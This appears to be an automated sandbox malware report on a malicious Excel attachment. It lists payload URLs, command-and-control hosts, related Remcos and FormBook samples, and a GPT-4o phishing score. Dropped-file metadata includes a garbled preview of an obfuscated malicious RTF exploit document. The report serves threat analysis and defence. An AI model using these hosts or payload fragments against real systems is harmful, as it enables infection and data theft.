http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://192.3.176.174/60/WDER.txt	0%	Avira URL Cloud	safe
http://192.3.176.174/60/gbh/creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback.doc	0%	Avira URL Cloud	safe
http://192.3.176.174/60/creatednewwaterbottleforme.gIFj	0%	Avira URL Cloud	safe
http://tny.wtf/sA	0%	Avira URL Cloud	safe
http://tny.wtf/sAyX	0%	Avira URL Cloud	safe
http://192.3.176.174	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg	100%	Avira URL Cloud	malware
sembe.duckdns.org	0%	Avira URL Cloud	safe
http://tny.wtf/	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpQ)	0%	Avira URL Cloud	safe
http://go.microsoft.cxj	0%	Avira URL Cloud	safe
http://198.46.176.133	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpC)	0%	Avira URL Cloud	safe
http://192.3.176.174/60/creatednewwaterbottleforme.gIF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sembe.duckdns.org	194.187.251.115	true	true	unknown
geoplugin.net	178.237.33.50	true	false	unknown
tny.wtf	188.114.96.3	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown
sembe.duckdns.org	true	Avira URL Cloud: safe	unknown
http://192.3.176.174/60/WDER.txt	true	Avira URL Cloud: safe	unknown
http://tny.wtf/sA	false	Avira URL Cloud: safe	unknown
http://198.46.176.133/Upload/vbs.jpeg	false	Avira URL Cloud: malware	unknown
http://192.3.176.174/60/gbh/creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback.doc	true	Avira URL Cloud: safe	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIF	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tny.wtf/	tny.wtf.url.4.dr	false	Avira URL Cloud: safe	unknown
http://192.3.176.174	powershell.exe, 0000000A.00000002.440512880.0000000008231000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tny.wtf/sAyX	90530000.0.dr, ~DF86012724870D7705.TMP.0.dr	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gpQ)	RegAsm.exe, 0000000C.00000002.1053847847.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIFj	EQNEDT32.EXE, 00000008.00000002.423816080.000000000065F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.microsoft.cxj	powershell.exe, 0000000A.00000002.436709620.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.436996063.00000000022A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gpC)	RegAsm.exe, 0000000C.00000002.1053847847.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.176.133	powershell.exe, 0000000A.00000002.436996063.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.176.174	unknown	United States	36352	AS-COLOCROSSINGUS	true
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	tny.wtf	European Union	13335	CLOUDFLARENETUS	true
198.46.176.133	unknown	United States	36352	AS-COLOCROSSINGUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
194.187.251.115	sembe.duckdns.org	United Kingdom	9009	M247GB	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482975
Start date and time:	2024-07-26 13:07:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Sample name:	AWD 490104998518.xls
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLS@9/31@8/6
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 97% Number of executed functions: 73 Number of non-executed functions: 196
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer Override analysis time to 56628.1053658464 for current running targets taking high CPU consumption Override analysis time to 113256.210731693 for current running targets taking high CPU consumption Override analysis time to 226512.421463386 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3120 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: AWD 490104998518.xls

Simulations

Behavior and APIs

Time	Type	Description
07:08:52	API Interceptor	51x Sleep call for process: EQNEDT32.EXE modified
07:08:54	API Interceptor	19x Sleep call for process: powershell.exe modified
07:08:54	API Interceptor	15x Sleep call for process: wscript.exe modified
07:08:59	API Interceptor	13682690x Sleep call for process: RegAsm.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json
{
  "riskscore": 7,
  "reasons": "The document contains a visually prominent email address 'at.guarantees.invoicing(AT)bnpparibas.com' which could mislead the user into contacting a potentially harmful entity. The text creates a sense of urgency by mentioning 'ATTENTION GUARANTEES DEPARTMENT', 'REMINDER 2', and 'PLEASE CREDIT OUR ADVISING FEE EUR 250,00 16/08/23 PLUS COURIER EUR 40,00 PLUS RELAY'. The document impersonates a well-known brand, BNP Paribas, which adds credibility and could deceive the user. The sense of urgency is directly connected to the email address, urging the user to take immediate action."
}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/4Gs
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining2.com/h9fmdW6/index.php
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	www.whatareyoucraving.com/drbb/
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/vMCQY
188.114.96.3	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	hq.ax/Oi8
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/dGa
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/
	Quotation.xls	Get hash	malicious	Remcos	Browse	tny.wtf/jjJsPX
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	api.keyunet.cn/v3/Project/appInfo/65fc6006
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.universitetrading.com/hfhf/?6lBX5p6=0/2bsV2tZWehMRII3oIkv/ztWj8eLfm1RPHJ5DhA9wGKWMCN0u1aqYIHkCdH1AqUUdYe&Kjsl=FbuD_t_HwtJdin
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	54.xls	Get hash	malicious	FormBook	Browse	tny.wtf/
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sembe.duckdns.org	ogetback.doc	Get hash	malicious	Remcos	Browse	194.187.251.115
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	194.187.251.115
	M7RrbN4DTk.exe	Get hash	malicious	Remcos, DBatLoader	Browse	194.187.251.115
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	194.187.251.115
	0003945 RFQ Cylinder Block PO list and detailed Drawing gpj.exe	Get hash	malicious	Remcos	Browse	194.187.251.115
	file.exe	Get hash	malicious	Remcos	Browse	194.187.251.115
	PG_320_MPI SRL_20240607_100526.xls	Get hash	malicious	Remcos	Browse	194.187.251.115
	crosscheckrosefloweronhairbeauty.gIF.vbs	Get hash	malicious	Remcos	Browse	194.187.251.115
	swCQS5MMLX.rtf	Get hash	malicious	Remcos	Browse	194.187.251.115
	ucancrosstheflowerbeautiytogetin.gIF.vbs	Get hash	malicious	Remcos	Browse	194.187.251.115
tny.wtf	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	Quotation.xls	Get hash	malicious	Remcos	Browse	188.114.96.3
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	Scan copy.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	54.xls	Get hash	malicious	FormBook	Browse	188.114.97.3
geoplugin.net	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	Payment Advice__HSBC Banking.pdf.lnk	Get hash	malicious	Remcos	Browse	178.237.33.50
	C1ZsNxSer8.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Quotation.xls	Get hash	malicious	Remcos	Browse	178.237.33.50
	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	LisectAVT_2403002A_407.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	LisectAVT_2403002A_431.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	IAENMAIL-A4-240717-0830-000090912_PDF.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	CDG__ Copia de Pagamento.pdf.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	CFS-0682-2-08 Order.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	198.46.178.145
	file.exe	Get hash	malicious	Vidar	Browse	198.46.178.145
	C1ZsNxSer8.exe	Get hash	malicious	Remcos	Browse	23.95.60.82
	Quotation.xls	Get hash	malicious	Remcos	Browse	23.95.60.82
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	BilseMHALF.rtf	Get hash	malicious	Unknown	Browse	172.245.123.11
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	198.46.174.139
	DBytisGNuD.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	107.174.69.116
	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
CLOUDFLARENETUS	TNS71092E68UI0.vbe	Get hash	malicious	FormBook	Browse	104.21.29.136
	https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9	Get hash	malicious	Unknown	Browse	104.16.117.116
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	188.114.96.3
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	104.21.72.79
	SecuriteInfo.com.Win32.RATX-gen.11894.20893.exe	Get hash	malicious	FormBook	Browse	172.67.134.182
	https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=	Get hash	malicious	Phisher	Browse	188.114.96.3
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	https://intralinks.us.com/kI1A4RAsty2APhQ3Ea4DCmQ3E4DCI1Acalz01coTxm	Get hash	malicious	HTMLPhisher	Browse	172.67.159.233
	https://forms.office.com/r/WH4W8hyyNA	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
CLOUDFLARENETUS	TNS71092E68UI0.vbe	Get hash	malicious	FormBook	Browse	104.21.29.136
	https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9	Get hash	malicious	Unknown	Browse	104.16.117.116
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	188.114.96.3
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	104.21.72.79
	SecuriteInfo.com.Win32.RATX-gen.11894.20893.exe	Get hash	malicious	FormBook	Browse	172.67.134.182
	https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=	Get hash	malicious	Phisher	Browse	188.114.96.3
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	https://intralinks.us.com/kI1A4RAsty2APhQ3Ea4DCmQ3E4DCI1Acalz01coTxm	Get hash	malicious	HTMLPhisher	Browse	172.67.159.233
	https://forms.office.com/r/WH4W8hyyNA	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
AS-COLOCROSSINGUS	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	198.46.178.145
	file.exe	Get hash	malicious	Vidar	Browse	198.46.178.145
	C1ZsNxSer8.exe	Get hash	malicious	Remcos	Browse	23.95.60.82
	Quotation.xls	Get hash	malicious	Remcos	Browse	23.95.60.82
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	BilseMHALF.rtf	Get hash	malicious	Unknown	Browse	172.245.123.11
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	198.46.174.139
	DBytisGNuD.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	107.174.69.116
	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	107.175.229.139

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025596317382011586
Encrypted:	false
SSDEEP:	6:I3DPczqNo4avxggLR8zaEWpRXv//4tfnRujlw//+GtluJ/eRuj:I3DPHNktxvYg3J/
MD5:	4A4581ABB108836C69D536D27E786247
SHA1:	C867E0260C3DACE84362BAAF6BF34AEA0504E291
SHA-256:	DB6F7275509A9D8130677A27CD9C5D0B5EDE8A3204A325FBB376E6AEDEB6C90A
SHA-512:	D6B5CBBC6B6189BBE593B23963F1BAC0B0F5073D7FE8F15A31591C705CCBD89901CDE89692DD6C9DA0516C0D20F712134F812291AFF365A8CD6636BAEE6AF095
Malicious:	false
Reputation:	low
Preview:	......M.eFy...zt..R.h.E......S,...X.F...Fa.q...............................P.F.L..jES.................C..K..........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback[1].doc

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	85983
Entropy (8bit):	2.656661142867628
Encrypted:	false
SSDEEP:	384:AMNF0TJENLHnQiT6Bg1VCWsVdTLoTYq4UxggoYYxA7qYpxylSPA:fc1EpHQDgCJwvCvYYxAxylSPA
MD5:	E03F3290788DE4D7A103F16B780B3CCE
SHA1:	C220E79A2714ED59F4D7B1D0A4F6C63A03772EA6
SHA-256:	DB4FED8FB3C35582ADE2FA57A5866EC7795E94BFF34F004F66D15233D1A2FCD8
SHA-512:	9372B124ECB895A5C7672D75D17EB3EA3D91FAB5ED675AA82090D8D00C15CB4477553342A356C4F8616869C2987105E6468BB2A912196DAB055E06E34AD24B63
Malicious:	true
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback[1].doc, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	{\rtf1........{\\aoutl173498089 \"}.{\443609054`?:`'1=]2=]656[~8\|#_@.0.%)5-\|8,9,`!`5>@.>^><<`6^.~?~<;_?5.6(2.??888%4/&/>8;^'4!-8.$7^-6'%038?9:\|)/90~>1?!/]?:\|54&?(!)^%.^&?2~3\|3(\|@7$]^?9:&!+?[.8$,~]$&!92~#76_$+~_8./8^0???!8?@6%@-%'(8^%(;~8?,?41,9(6@%3.[:6#?$&4^?];@~$?'+?03~?(;[>@`?%-4-?08;.?.8$]^.!/2.?9.^^2~];..?5?.6%.?5-/^\|%.\|%@/.:03,=9%?.@.!=>$2~%8$?.$?55%?>.;.@:3!7:?)?~@?41/<@/&?(2#?<1,?`],1^1!;6%7+]8..?895?10,%(?\|-5`%.4?4+^-03$0]#%~-5)'!02.@?(4%?.95#.^\|?3%[947=2?$_.&`2.??[?)().;<.;??'_!3=?.):5=.].=_[(-32%.'++\|9?5?^_.>!1+!`;5?.<)27??~?1;9)_0=(%=$89-%$]6![.%=&`0($..!++.%<%_68.\|>7/.\|%]1&6<-.?<9(420^(??@[.3.(%5'_?$5-$>%5<36:=#>)2&/51@$17?,0+(%>8+>%16!4\|!(.`34\|86.;&?%1.&\|^7?;[+&;.:[12%)]4./;6%=./_!5?+;?@.~$~.[?%@=@.?.>+\|>$&~#?383.'$^?<'5].7)~06^~.\|.[0?&[:%?^^;,3?%`,:^0>-<6?=&\|??]?`-&\|/[`780&0\|!..%$8!%)4&?_:\|'.]#;[[.37&_1].:)9:$%&=+?5`?5]($??#(:?!!3?)?;-6.<\|-_.,&??+>-;'\|:<?\|)24,[,%(8.<?_@>:8?##-;?-6???)>.?4=]%?+/%54&??9?1]>5^&:2]4?'(9#.>6?6`9.;$#2+~..$[]`5$+1?9?(.<&[&87

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\json[1].json

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.013811273052389
Encrypted:	false
SSDEEP:	12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
MD5:	18BC6D34FABB00C1E30D98E8DAEC814A
SHA1:	D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
SHA-256:	862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
SHA-512:	8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\creatednewwaterbottleforme[1].gif

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	419812
Entropy (8bit):	3.5814445916859183
Encrypted:	false
SSDEEP:	3072:FHGhwf2YFbhNe4VTdRnTT8w4TW7HqOOgVpp20KeLS7lixg36t+v4pNdS7ES:0wf2YFZHqf
MD5:	94734CB139B6B9025FD8A1ACC56027DB
SHA1:	B385368BCAADACA073849A413660B68E690FFBA5
SHA-256:	7DDE4D5F845DBB2A078F6D0A290472D22CC845C6D6927CC0ADA645CE050C7B08
SHA-512:	58E0064F4B304B5503C4A7E689D96CC62BAC4BC8EE76D39FEDE408B9E777B9602334DAD4E1570FA0B9E0C363E7D8EE419A41D4DA02493D174D61F96ACCA4053F
Malicious:	false
